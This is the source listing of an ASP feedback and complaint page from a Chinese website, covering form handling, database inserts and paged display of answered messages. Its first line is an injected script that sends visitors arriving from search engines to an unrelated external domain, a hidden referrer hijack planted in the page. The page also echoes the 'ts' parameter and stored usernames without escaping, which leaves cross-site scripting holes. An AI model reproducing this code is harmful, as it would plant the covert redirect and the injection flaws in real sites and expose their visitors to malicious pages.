d:\wwwroot\wuchunhua\feedback.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc/conn.asp"-->
002:
<!--#include file="inc/kqiqi_sub.asp"-->
003:
<!--#include file="inc/function.asp"-->
004:
<%
005:
if request("kqiqi")="ok" then
006:
dim reg1,ses
007:
reg1=request.cookies("kqiqi")("reg1")
008:
ses=DateDiff("s",reg1,now())
009:
if ses<120 then
010:
response.write "<script language=JavaScript>" & chr(13) & "alert('对不起,请稍后120秒,等会再次发布!')</script>"
011:
response.write "<meta http-equiv=refresh content=""3;URL=feedback.asp"">"
012:
response.end
013:
end if
014:
if len(request("memo"))>100 then
015:
response.write "<script language=JavaScript>" & chr(13) & "alert('字数超过了100,请简单填写!')</script>"
016:
response.write "<meta http-equiv=refresh content=""3;URL=feedback.asp"">"
017:
response.end
018:
end if
019:
if request("memo")="有什么问题可以直接在此发布!" then
020:
response.write "<script language=JavaScript>" & chr(13) & "alert('请填写留言内容!')</script>"
021:
response.write "<meta http-equiv=refresh content=""3;URL=feedback.asp"">"
022:
response.end
023:
end if
024:
if len(request("memo"))<10 then
025:
response.write "<script language=JavaScript>" & chr(13) & "alert('字数不能少于10个字!')</script>"
026:
response.write "<meta http-equiv=refresh content=""3;URL=feedback.asp"">"
027:
response.end
028:
end if
029:
set rs=server.createobject("adodb.recordset")
030:
sql = "select * from feedback order by fbsj desc"
031:
rs.open sql,conn,1,3
032:
rs.addnew
033:
rs("username")=request.cookies("kqiqi")("username")
034:
rs("lx")=HtmlEncode(trim(request("liuyan")))
035:
rs("gbook1")=HtmlEncodes(trim(request("memo")))
036:
rs("fbsj")=now()
037:
rs.update
038:
Response.cookies("kqiqi")("reg1")=now()
039:
rs.close
040:
set rs=nothing
041:
closedb
042:
response.write "<script language=JavaScript>" & chr(13) & "alert('已成功,请等待管理员审核!')</script>"
043:
response.write "<meta http-equiv=refresh content=""3;URL=feedback.asp"">"
044:
response.end
045:
else
046:
%
>
047:
048:
<%
049:
dim ts
050:
dim tj
051:
username=request.cookies("kqiqi")("username")
052:
ts=trim(request("ts"))
053:
if request("page")="" then
054:
ThisPage=1
055:
else
056:
ThisPage=request("page")
057:
end if
058:
%
>
059:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
060:
<html xmlns="http://www.w3.org/1999/xhtml">
061:
<head>
062:
<title>
<%
=title
%
>-意见反馈-投诉留言</title>
063:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
064:
<meta http-equiv="Content-Language" content="zh-cn" />
065:
<meta name="Keywords" content="
<%
=metakey
%
>" />
066:
<meta name="Description" content="
<%
=metades
%
>" />
067:
<link rel="icon" href="
<%
=web
%
>/favicon.ico" type="image/x-icon" />
068:
<link rel="shortcut icon" href="
<%
=web
%
>/favicon.ico" type="image/x-icon" />
069:
<link href="inc/style.css" rel="stylesheet" type="text/css" />
070:
</head>
071:
<body>
072:
<div id="Fmain">
073:
<div id="header">
074:
<%
call top()
%
>
075:
</div>
076:
<div class=kon></div>
077:
<div id=FFTit class=F12bold><a href="/">首页</a>-<a href="#">意见反馈</a></div><div id=FFContent><div Class='FFdiv'>
078:
<div align="center">
079:
<table border="0" width="98%" cellspacing="0" class="userbg">
080:
<tr>
081:
<td height="25" class="userbg">
082:
意见反馈</td>
083:
</tr>
084:
<tr>
085:
<td>
086:
<table cellspacing="0" cellpadding="0" width="100%">
087:
<tr>
088:
<td valign="top">
089:
<table cellSpacing="0" cellPadding="3" width="600" align="center" border="0">
090:
091:
<form method="POST" action="?kqiqi=ok" >
092:
<tr>
093:
<td align="right">
094:
意见/问题类型</td>
095:
<td align="left">
096:
<select size="1" name="liuyan">
097:
<option value="0">普通问题</option>
098:
<option
<%
if ts="1" then
%
> selected
<%
end if
%
> value="1">投诉留言</option>
099:
</select></td>
100:
</tr>
101:
<tr>
102:
<td align="right">
103:
意见/问题内容</td>
104:
<td align="left">
105:
<font color="#FF0000">字数限制为100个</font></td>
106:
</tr>
107:
<tr>
108:
<td colspan="2" width="75%">
109:
<textarea rows="12" name="memo" cols="74" onFocus="this.select()" onBlur="if (value ==''){value='有什么问题可以直接在此发布!'}" onClick="if(this.value=='有什么问题可以直接在此发布!')this.value=''"onMouseOver="this.focus()">有什么问题可以直接在此发布!</textarea></td>
110:
</tr>
111:
<tr>
112:
<td width="361" colspan="2" align="center">
113:
<input type="submit" value="提交" name="B2" style="font-weight:bold;font-size: 12pt;height:50"></td>
114:
</tr>
115:
</form>
116:
</table>
117:
</td>
118:
</tr>
119:
<tr>
120:
<td valign="top">
121:
<div align="center">
122:
<table border="0" cellpadding="0" style="border-collapse: collapse" width="100%">
123:
<%
124:
tj=1
125:
set rs=server.createobject("adodb.recordset")
126:
if ts="1" then
127:
sql="select username,gbook1,gbook2,hfsj from feedback where lx=1 and hf=1 order by fbsj desc"
128:
else
129:
sql="select username,gbook1,gbook2,hfsj from feedback where lx=0 and hf=1 order by fbsj desc"
130:
end if
131:
rs.open sql,conn,1,1
132:
if rs.eof then
133:
response.write "还没有反馈信息!"
134:
end if
135:
rs.Pagesize=10
136:
Pagesize=rs.Pagesize
137:
Allrecord=rs.Recordcount
138:
Allpage=rs.Pagecount
139:
if ThisPage<1 then
140:
ThisPage=1
141:
end if
142:
On Error Resume Next
143:
rs.move (ThisPage-1)*Pagesize
144:
%
>
145:
<tr>
146:
<td colspan="2" height="25" class="userbg">
147:
<%
=title
%
>意见反馈区</td>
148:
</tr>
149:
<%
do while not rs.eof
%
>
150:
<tr>
151:
<td colspan="2" height="21" bgcolor="#EEEEEE" style="text-align:left;border-top: 1px solid #C0C0C0">
152:
<strong style="font-weight: 400"><font color="#cc0000">
153:
管理员</font><font color="#000000">答复</font><font color="#009933"><b>
<%
=rs("username")
%
></b></font>提出的问题</strong> 回复时间:<font color="#666666">
<%
=rs("hfsj")
%
></font></td>
154:
</tr>
155:
<tr>
156:
<td style="text-align:left;">
157:
<font color="#FF0000">
158:
<strong>
159:
问:</strong></font></td>
160:
<td style="text-align:left;"><font color="#800000"><b>
<%
=rs("gbook1")
%
></b></font></td>
161:
</tr>
162:
<tr>
163:
<td valign="middle" style="text-align:left;">
164:
<strong><font color="#009900">
165:
答:</font></strong></td>
166:
<td style="text-align:left;"><font color="#808080">
<%
=rs("gbook2")
%
></font></td>
167:
</tr>
168:
<%
169:
tj=tj+1
170:
if tj>=Pagesize then exit do
171:
rs.movenext
172:
loop
173:
%
>
174:
<tr>
175:
<td colspan="2" height="25">
176:
<table border="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#111111" width="100%">
177:
<tr>
178:
<td height="25" width="151">
179:
<p align="center">
180:
共有 <font color="#CC5200">
<%
=Allrecord
%
></font> 条记录</td>
181:
<td height="25" width="126">
182:
<p align="center">共 <font color="#CC5200">
<%
=Allpage
%
></font> 页</td>
183:
<td height="25" width="118">
184:
<p align="center">现在是第
185:
<font color="#CC5200">
<%
=ThisPage
%
></font> 页</td>
186:
<td height="25" width="157">
187:
<p align="center">
188:
<%
189:
if ThisPage<2 then
190:
response.write "<font color=""#808080"">首页</font> "
191:
response.write "<font color=""#808080"">上一页</font> "
192:
else
193:
response.write "<a href=?page=1&ts="&ts&">首页</a> "
194:
response.write "<a href=?page="&ThisPage-1&"&ts="&ts&">上一页</a> "
195:
end if
196:
if Allpage-ThisPage<1 then
197:
response.write "<font color=""#808080"">下一页</font> "
198:
response.write "<font color=""#808080"">尾页</font> "
199:
else
200:
response.write "<a href=?page="&(ThisPage+1)&"&ts="&ts&">下一页</a> "
201:
response.write "<a href=?page="&Allpage&"&ts="&ts&">尾页</a> "
202:
end if
203:
%
></td>
204:
</tr>
205:
</table>
206:
</td>
207:
</tr>
208:
</table></div>
209:
</td>
210:
</tr>
211:
</table></td>
212:
</tr>
213:
</table>
214:
</div>
215:
</div>
216:
</div>
217:
<br style="clear:both;" />
218:
<div class=kon></div>
219:
<div class=kon></div>
220:
<div id="footer">
221:
<%
222:
call bottom()
223:
%
>
224:
</div>
225:
</div>
226:
<%
227:
rs.close
228:
set rs=nothing
229:
closedb
230:
end if
231:
%
>
232:
</body>
233:
</html>
234:
235: